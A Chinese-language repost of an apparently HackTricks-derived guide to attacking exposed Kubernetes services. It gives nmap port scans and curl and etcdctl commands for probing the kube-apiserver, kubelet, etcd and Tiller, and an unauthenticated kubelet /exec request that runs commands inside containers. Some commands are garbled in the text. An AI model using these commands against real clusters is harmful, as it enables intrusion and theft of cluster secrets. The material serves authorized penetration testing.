转于:安全帮Live 2023-04-02 16:47 发表于上海
Kubernetes简介 Kubernetes 使用几个特定的网络服务,一旦你破坏了一个pod,你可能会发现它们暴露在互联网或内部网络中。 使用 OSINT 查找暴露的 POD 一种方法是在crt.sh中搜索Identity LIKE "k8s.%.com",找到与kubernetes相关的子域。另一个方法可能是在github中搜索 "k8s.%.com",并搜索包含该字符串的YAML文件。 Kubern**etes 如何暴露服务的** 了解Kubernetes如何公开暴露服务,以便找到它们: https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-pentesting/exposing-services-in-kubernetes通过端口扫描查找暴露的 pod** ** Nmap扫描 nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16Kube-apiserver 管理员通常使用该工具操作API Kubernetes 服务。Common ports: 6443 and 443, but also 8443 in minikube and 8080 as insecure.6 查看以下页面以了解如何获取敏感数据并执行与此服务对话的敏感操作
https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-pentesting/kubernetes-enumerationcurl -k https://<IP Address>8|6)443/swaggerapicurl -k https://<IP Address>8|6)443/healthzcurl -k https://<IP Address>8|6)443/api/v1Kubelet API 这个服务在集群中的每个节点上运行,它是控制节点内的pods的服务,与kube-apiserver对话,如果你发现这个服务被暴漏,很可能是一个未经身份验证的RCE ## curl -k https://<IP address>:10250/metricscurl -k https://<IP address>:10250/pods如果响应是,Unauthorized则它需要身份验证。如果你可以列出节点,通过以下方式获得 kubelet 端点列表kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do ip=$(echo $node | awk '{print $1}') port=$(echo $node | awk '{print $2}') echo "curl -k --max-time 30 https://$ipport/pods" echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcddonekubelet (Read only) curl -k https://<IP Address>:10255http://<external-IP>:10255/podsetcd APIcurl -k https://<IP address>:2379curl -k https://<IP address>:2379/versionetcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-onlyTillerhelm --host tiller-deploy.kube-system:44134 version你可以滥用这个服务来提升Kubernetes内部的权限:cAdvisor对收集指标有用的服务curl -k https://<IP Address>:4194NodePort当一个端口通过NodePort暴露在所有的节点中时,同样的端口会在所有的节点中打开,使流量进入所声明的服务。默认情况下,这个端口将在30000-32767的范围内。所以新的未被选中的服务可能会通过这些端口被访问。sudo nmap -sS -p 30000-32767 <IP>易受攻击的错误配置 Kube-apiserver的匿名访问:默认情况下,kube-apiserver的API端点是禁止匿名的。但检查是否有任何不安全的端点暴露敏感信息总是一个好主意 检查 ETCD 匿名访问 ETCD 存储集群机密、配置文件和更多敏感数据。默认情况下,ETCD不能匿名访问,但检查总是好的。如果可以匿名访问 ETCD,则可能需要使用etcdctl工具。以下命令将获取存储的所有密钥:etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-onlyKubelet RCE Kubelet 文档解释说,默认情况下允许匿名访问该服务:启用对 Kubelet 服务器的匿名请求。未被其他身份验证方法拒绝的请求被视为匿名请求。匿名请求的用户名是system:anonymous,组名是system:unauthenticated.要更好地了解Kuebelet API 的身份验证和授权如何工作,请查看此页面: https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-pentesting/pentesting-kubernetes-services/kubelet-authentication-and-authorizationKubelet API 没有文档记录,但可以在此处找到源代码,找到暴露的端点就像运行一样简单: curl -s https://raw.githubusercontent.co ... et/server/server.go | grep 'Path("/'Path("/pods").Path("/run")Path("/exec")Path("/attach")Path("/portForward")Path("/containerLogs")Path("/runningpods/")./pods此端点列出 pod 及其容器: curl -ks https://worker:10250/pods/exec # Tthe command is passed as an array (split by spaces) and that is a GET request.curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} \ -d 'input=1' -d 'output=1' -d 'tty=1' \ -d 'command=ls' -d 'command=/'要自动化利用,您还可以使用脚本kubelet-anon-rce。为了避免这种攻击,应该运行kubelet服务,并且应该在网络级别隔离该服务。--anonymous-auth
检查Kubelet(只读端口)信息暴露情况当kubelet 只读端口暴露时,攻击者可以从 API 中检索信息。这会暴露集群配置元素,例如 pod 名称、内部文件的位置和其他配置。这不是关键信息,但仍不应暴露在互联网上。 例如,远程攻击者可以通过访问以下 URL 来滥用它: http://<external-IP>:10255/pods
### **免责声明:仅供安全研究与学习之用,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布***者***不承担任何法律及连带责任。** 精彩推荐:
|